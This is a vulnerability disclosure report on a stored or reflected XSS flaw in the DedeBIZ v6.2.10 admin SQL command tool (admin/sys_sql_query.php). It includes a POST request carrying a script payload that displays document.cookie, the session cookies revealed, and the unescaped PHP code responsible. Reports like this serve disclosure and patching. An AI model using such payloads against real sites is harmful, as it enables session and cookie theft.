

Xss vulnerability exists in DedeBIZ v6.2.10

[Suggested description]

DedeBIZ v6.2.10 was discovered to contain XSS vulnerability in /admin/sys_sql_query.php.

[Vulnerability Type]

Cross Site Scripting (XSS)

[Vendor of Product]

<https://github.com/DedeBIZ/DedeV6>

<https://www.dedebiz.com/>

[Affected Product Code Base]

DedeBIZ 6.2.10

[Affected Component]

admin/sys_sql_query.php

```
POST /admin/sys_sql_query.php HTTP/1.1
.....
dopost=query_&csrf_token=cefb8cd300e4ef8c92a9334d18640faf&querytype=2&sqlquery=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
```

[Attack Type]

Remote

[Vulnerability demonstration]

1. First, enter the admin backend management and close "DEDEBIZ_SAFE_MODE". Select 'SQL Command Tool' in the 'System Settings' module.

我的网站 6.2.10 开发

SQL命令工具

bizAddonarticle(0)

优化选中表 修复选中表 查看表结构 优化全部表 修复全部表

系统设置

日志管理

管理员管理

会员组管理

图片水印设置

自定义文档属性

软件下载设置

防采集工具

数据备份还原

SQL命令工具

文件扫描工具

系统修复工具

系统帮助

2. Enter `<script>alert(document.cookie)</script>` in the input box and click the `Run` button to trigger the XSS vulnerability

我的网站 6.2.10 开发

SQL命令工具

bizAddonarticle(0)

运行SQL命令行: 单行命令 多行命令

1 <script>alert(document.cookie)</script>

dedev6 显示

PHPSESSID=d7ftphedb5gts93nm0dp49m217; DedeUserID=1;
DedeUserID__ckMd5=3e9d0a2f31fdce82;
DedeLoginTime=1689229638;
DedeLoginTime__ckMd5=abe47674f93734d6;
DedeStUUID__ckMd5=f943b8f84d145175;
ENV_GOBACK_URL=%2Fadmin%2Fsys_admin_user.php

确定

运行

[Cause of vulnerability]

In `admin/sys_sql_query.php`, when the Syntax error of the SQL statement is incorrect, the content of the SQL statement entered by the user is not filtered, and the xss statement is output as a result.

```
//执行SQL语句
else if ($dopost == "query") {
    CheckCSRF();
    $sqlquery = trim(stripslashes($sqlquery));
    if (preg_match("#drop(.*)table#", $sqlquery) || preg_match("#drop(.*)database#", $sqlquery)) {
        echo "删除数据表或数据库的语句不允许在这里执行";
        exit();
    }
    echo '<link rel="stylesheet" href="../static/web/css/bootstrap.min.css">';
    //运行查询语句
    if (preg_match("#^select #i", $sqlquery)) {
        $dsq1->SetQuery($sqlquery);
        $dsq1->Execute();
        if ($dsq1->GetTotalRow() <= 0) {
            echo "运行SQL:<span class='text-primary'>{$sqlquery}</span> 无返回记录<br>";
        } else {
            echo "运行SQL:<span class='text-primary'>{$sqlquery}</span> 共有<span class='text-primary'>" . $dsq1->GetTotalRow() . "</span>条记录";
        }
        $j = 0;
    }
}
```

[Repair suggestions]

Filter the output SQL statement content.